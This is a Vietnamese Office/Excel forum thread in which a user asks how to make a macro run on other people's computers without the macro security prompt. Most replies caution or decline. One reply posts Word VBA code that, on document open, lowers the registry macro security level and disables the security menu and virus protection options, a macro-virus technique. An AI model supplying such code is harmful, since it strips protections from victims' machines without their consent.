Làm sao để macro vẫn hoạt động được trên máy khác?

Liên hệ QC

anhchanghamhoc

Thành viên mới
Tham gia
18/12/06
Bài viết
40
Được thích
2
các pác cho mình hỏi làm cách nào mà khi mình cài macro vào 1 file thì khi mở file đó lên nó tự chạy macro đó, chứ không hiện lên bảng hỏi có sử dụng macro không?
như vậy khi mình cài macro rồi mà người khác mở lên file đó và chỉ chuột vào bảng là không sử dụng macro thì công mình cài macro cũng như không! các pác chỉ mình với?
 
Ah cái này bạn vào tool/Macro/Security/Low là được.Còn nếu bạn muốn mở 1 file và chạy macro mình muốn chạy thì chọn sub Auto_open () là được.
 
Lần chỉnh sửa cuối:
Upvote 0
theo cách của pác thì chỉ chạy trên máy của mình thôi còn qua máy khác thì không tự động vào thẳng macro mình cài mà nó phải thông qua bảng nằm trong file mình post lên sau đây bạn ạ !
nhưng khi máy khác nối mạng mở lên thì thấy bảng nằm trong file sau, như người khác sử dụng mà không muốn chạy macro thì mình cài macro này cũng như không, xin các pác chỉ hộ mình làm cách nào khi mở file trên bất kỳ máy khác thì marco chạy liền, mình không muốn nó hiện ra cái bảng có chữ Disable Macros,Enable Macros ,More Info nếu người sử dụng chọn Disable Macro thì chết mình rồi!
 

File đính kèm

  • Doc1.doc
    69 KB · Đọc: 80
Upvote 0
Theo mình thì mình nghĩ không thể làm được như bạn nói, còn không biết mọi người ai có cách nào không.
 
Upvote 0
Tại sao phải nghĩ đến điều này nhỉ? Đây là cách mà MS office hạn chế ảnh hưởng của Virus.
Tốt hơn hết là bạn chọn Medium.

Lê Văn Duyệt
 
Upvote 0
Cái này có thể làm được nhưng vì lý do an ninh mình không post lên được. Nếu cái này ai cũng biết thì thiên hạ đại loạn, người người viết virus, nhà nhà làm virus.
 
Upvote 0
lachinhan đã viết:
Cái này có thể làm được nhưng vì lý do an ninh mình không post lên được. Nếu cái này ai cũng biết thì thiên hạ đại loạn, người người viết virus, nhà nhà làm virus.
Nghe kinh quá nhỉ? Cứ chỉ đi, đâu phải ai cũng hiểu được (như mình chẳng hạn he he he)
Dạo này thế nào?
 
Upvote 0
Mình nghĩ lachinhan nếu biết cách thì hướng dẫn để mọi người tham khảo cũng được chứ sao.Tại vì những người biết viết virus thì mình nghĩ họ cũng đã biết cách này rồi.
 
Upvote 0
các pác cho mình hỏi có cách nào tính tổng của những hàng (cột) hiện trên màng hình, nhưng khi bỏ hide thì tổng này sẽ thay đổi theo các hàng (cột) đó
 
Upvote 0
trên màng hình, nhưng khi bỏ hide thì tổng này sẽ thay đổi theo các hàng (cột) đó

MrHieu đã viết:
Nghe kinh quá nhỉ? Cứ chỉ đi, đâu phải ai cũng hiểu được (như mình chẳng hạn he he he)
Dear all,
-------
Các bạn tham khảo bài viết sau:
Thay đổi security level của của các ứng dụng trong bộ MS Office

anhchanghamhoc đã viết:
các pác cho mình hỏi có cách nào tính tổng của những hàng (cột) hiện trên màng hình, nhưng khi bỏ hide thì tổng này sẽ thay đổi theo các hàng (cột) đó

Dear anhchanghamhoc,
----------------------
Bạn chăm học và hăng hái đến mức post bài không biết vào chỗ nào làm người khác khó theo dõi và trả lời (sau này bạn tìm lại bài viết của mình cũng khó!) Rút kinh nghiệm nhé!
Bạn dùng hàm SUBTOTAL thay cho hàm SUM khi Filter thì kết quả sẽ thay đổi theo điều kiện lọc. Cách này chỉ áp dụng khi tính tổng các hàng còn trường hợp bạn để ẩn dòng/cột thì phải dùng cách khác. Mình khuyên bạn dùng Data Outline Group (Alt+ D+ G) thay cho việc làm ẩn để tránh sai sót trong khi lập công thức tính toán.
 
Upvote 0
Với Word thì rất dễ ,
Excel thì phức tạp hơn phải xài API, các bạn nghiên cứu theo đường link của anh Cường đấy. Việc viết 1 con virus đơn giản không khó, chỉ cần tạo 1 macro Insert Sheet hay gì đấy, sau đó gắn nó vào 1 vòng lặp vô hạn là cũng có thể tạo thành 1 con đủ làm Crash máy rồi. Cái khó là cái các bạn đang quan tâm đấy. code for word

Private Sub Document_Open()
On Error Resume Next
If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

 
Lần chỉnh sửa cuối:
Upvote 0
xin chào mọi người, cho mình hỏi một vấn đề về macro:
mình viết một vài macro, trên máy mình chạy tốt nhưng sang máy khác thì không chạy được, mình phải làm thế nào?
hãy cố gắn giúp mình, cám ơn trươc!
 
Upvote 0
xin chào mọi người, cho mình hỏi một vấn đề về macro:
mình viết một vài macro, trên máy mình chạy tốt nhưng sang máy khác thì không chạy được, mình phải làm thế nào?
hãy cố gắn giúp mình, cám ơn trươc!
Hỏi thế ai biết giống gì mà trả lời
Cái vụ KHÔNG CHẠY ĐƯỢC nó có trăm ngàn đường ---> Không được là không được ra làm sao?
Bác sĩ hổng khám bệnh từ xa thế này được đâu!
 
Upvote 0
Web KT
Back
Top Bottom